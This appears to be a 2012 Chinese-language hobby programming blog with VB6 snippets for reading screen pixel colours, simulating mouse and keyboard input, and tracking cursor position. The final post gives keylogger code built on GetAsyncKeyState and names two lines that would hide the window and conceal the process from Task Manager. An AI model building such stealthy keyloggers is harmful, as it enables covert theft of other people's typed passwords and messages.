關於我自己

2012年5月15日 星期二

OPENGL Dev C++

Dev C++本身就有可以下載OpenGL ~然而剛才我卻白爛的去用最複雜的

跑去OpenGL下載dll元件去複製到Dev C++

之後才發現Dev C++本身就有了

介紹Open GL 最主要去讓你去算數學跑公式,藉由圖示跟動畫呈獻出來





2012年5月5日 星期六

用滑鼠座標偵測顏色

目的:
可以用滑鼠的座標取的顏色RGB
可利用在遊戲血條偵測
然後網頁可以利用只有火狐 ~ 因為火狐的CSS顏色是最標準的


程式碼:
Private Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long
    Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
    Private Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal y As Long) As Long
    Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) As Long
    Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
    Private Type POINTAPI
        X As Long
        y As Long
    End Type
     Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Sub Timer1_Timer()
    Dim lngDC As Long
    Dim lngColor As Long
    Dim PtMouse As POINTAPI
    Dim hwnd As Long
    Dim lngX As Long
    Dim lngY As Long
     Dim r As Integer
     Dim g As Integer
     Dim b As Integer
     Dim IntR As Long
IntR = SetWindowPos(Me.hwnd, -1, 0, 0, 0, 0, 3)
    GetCursorPos PtMouse            '取滑鼠位置
    hwnd = WindowFromPoint(PtMouse.X - 20, PtMouse.y)  '取滑鼠位置元件的Handle 值
    lngX = PtMouse.X
    lngY = PtMouse.y
    lngDC = GetDC(hwnd)         '取該Handle值的DC
    lngColor = GetPixel(lngDC, lngX, lngY)  '取該滑鼠位置的顏色
    Text1 = "位置: x:" & lngX & ", y:" & lngY & " ; 顏色:" & lngColor & " ; hwnd : " & hwnd & vbCrLf
   
      r = lngColor Mod 256
    b = Int(lngColor / 65536)
    g = (lngColor - (b * 65536) - r) / 256
     If r = -1 Then
r = 0
End If
If g = -1 Then
g = 0
End If
If b = -1 Then
b = 0
End If
    Label1.Caption = r
    Label2.Caption = g
    Label3.Caption = b
    Picture1.BackColor = RGB(r, g, b)
    ReleaseDC hwnd, lngDC       '將DC 釋放
      
    End Sub

滑鼠事件

滑鼠事件:
1.滑鼠左右鍵
2.滑鼠移動位置
3.滑鼠拖曳

首先宣告
'Win32 Api
Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Private Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)

Const MOUSEEVENTF_ABSOLUTE = &H8000
Const MOUSEEVENTF_MOVE = &H1
Const MOUSEEVENTF_LEFTDOWN = &H2
Const MOUSEEVENTF_LEFTUP = &H4
Const MOUSEEVENTF_MIDDLEDOWN = &H20
Const MOUSEEVENTF_MIDDLEUP = &H40
Const MOUSEEVENTF_RIGHTDOWN = &H8
Const MOUSEEVENTF_RIGHTUP = &H10
Private Const WHEEL_DELTA = 120
Private Const MOUSEEVENTF_WHEEL = &H800
Dim result As Boolean

result = SetCursorPos(40, 55)  '滑鼠會移到作標X =45 Y=55的位置

 mouse_event MOUSEEVENTF_LEFTDOWN Or MOUSEEVENTF_LEFTUP, 0, 0, 0, 0
'啟動滑鼠左鍵 按下去又放開

mouse_event MOUSEEVENTF_RIGHTDOWN Or MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0
'啟動滑鼠右鍵 按下去又放開

 mouse_event MOUSEEVENTF_WHEEL, 0, 0, WHEEL_DELTA, 0
'滑鼠中間滾輪往上移

   SendKeys "^c"  'Ctrl+C  複製 Copy
 
  SendKeys "^v"   'Ctrl+V  貼上  Post

  SendKeys "^s"  'Ctrl+S   儲存 Save

接下來是拖曳部分:很簡單的說因為拖曳的理念是
點滑鼠左鍵不放,然後移動到一定的位置,再放開

例如:(滑鼠拖曳範例)

  Dim result As Boolean

  result = SetCursorPos(2, 55)

   mouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0

   result = SetCursorPos(3, 198)

   mouse_event MOUSEEVENTF_LEFTUP, 0, 0, 0, 0

滑鼠作標偵測

目的:滑鼠作標偵測,意思是到時候可以設置讓滑鼠自動執行重複的動作

例如:訂火車票,一直按到有車票,但是按鍵的作標幾乎都不變,就可以使用此偵測




程式碼:
Option Explicit
Private Type PointAPI
      X As Long
      y As Long
End Type
Dim MousePos As PointAPI

Private Declare Function GetCursorPos Lib "user32" (lpPoint As PointAPI) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Sub Timer1_Timer()

Dim IntR As Long
IntR = SetWindowPos(Me.hwnd, -1, 0, 0, 0, 0, 3)
GetCursorPos MousePos
    Text1 = MousePos.X
    Text2 = MousePos.y

End Sub

VB 6.0 按鍵側錄

程式碼:

Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Timer1_Timer()

Dim IntR As Long
IntR = SetWindowPos(Me.hwnd, -1, 0, 0, 0, 0, 3)
For i = 1 To 400
KeyResult = GetAsyncKeyState(i)
If KeyResult = -32767 Then
       If i = 13 Then
       Text1.Text = Text1.Text + "(Enter)"
       Else
       Text1.Text = Text1.Text + Chr(i)
       End If
     End If
Next i

End Sub
以上大約是用
GetAsyncKeyState涵式=>得到按件執 Ascii
SetWindowPos涵式=>把From表單一直顯示在圖層上面

最後我並沒有加下面兩個涵式
Form1.Hide   =>將表單隱藏
App.TaskVisible = False  =>然程式無法在工具管理員看到此EXE